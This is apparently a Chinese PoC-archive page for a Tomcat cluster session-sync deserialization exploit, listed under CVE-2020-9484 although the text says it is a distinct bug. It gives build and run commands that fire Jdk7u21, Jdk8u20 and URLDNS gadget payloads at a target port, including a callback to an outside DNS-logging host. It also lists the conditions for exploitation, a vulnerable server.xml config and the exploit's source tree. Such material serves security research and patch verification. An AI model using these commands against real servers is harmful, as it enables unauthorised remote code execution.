关联漏洞
标题:
Apache Tomcat 代码问题漏洞
(CVE-2020-9484)
描述:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat中存在代码问题漏洞。攻击者可通过控制服务器上文件的内容和名称等方法利用该漏洞执行代码。以下产品及版本受到影响:Apache Tomcat 10.0.0-M1版本至10.0.0-M4版本,9.0.0.0.M1版本至9.0.43之前版本,8.5.0版本至8.5.63之前版本,7.0.0版本至7.0.108之前版本。
描述
tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。PS:这个不是CVE-2020-9484,9484是session持久化的洞,这个是session集群同步的洞!
介绍
*工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责*
### tomcat cluster sync-session 利用exp
这是一个tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包,
可以对使用了tomcat自带session同步功能的服务器进行攻击。
### 使用
先编译出jar包:
```
mvn clean compile assembly:assembly
```
生成jar包存在于target目录下
使用,例:
```
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
```
### 条件
1. tomcat启用了session同步,没有配置EncryptInterceptor
2. jdk版本低于jdk8u20、jdk7u21(不知道有没有错)
3. 同步端点可访问(一般是内网)
### tomcat-session同步配置
(conf/server.xml):
```
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>
```
文件快照
[4.0K] /data/pocs/0bd313a68ddefa0b4e12060dbfcee3106ab2f9ec
├── [1.4K] pom.xml
├── [3.3K] README.md
└── [4.0K] src
└── [4.0K] main
└── [4.0K] java
└── [4.0K] me
└── [4.0K] threedr3am
└── [4.0K] exp
├── [4.0K] payload
│ ├── [2.4K] Jdk7u21.java
│ ├── [8.8K] Jdk8u20.java
│ ├── [ 153] Payload.java
│ ├── [ 393] Payloads.java
│ └── [3.1K] URLDNS.java
├── [4.0K] support
│ ├── [8.0K] ChannelData.java
│ ├── [3.1K] ChannelMessage.java
│ ├── [1.4K] ClusterMessageBase.java
│ ├── [1.1K] ClusterMessage.java
│ ├── [ 19K] MemberImpl.java
│ ├── [5.3K] Member.java
│ ├── [5.6K] SessionMessageImpl.java
│ ├── [3.8K] SessionMessage.java
│ ├── [2.8K] UUIDGenerator.java
│ └── [ 16K] XByteBuffer.java
├── [3.7K] TomcatSessionClusterExploit.java
└── [4.0K] utils
├── [1.2K] ClassFiles.java
├── [1.3K] Converter.java
├── [7.2K] Gadgets.java
├── [2.5K] Reflections.java
└── [ 805] Serializer.java
9 directories, 23 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。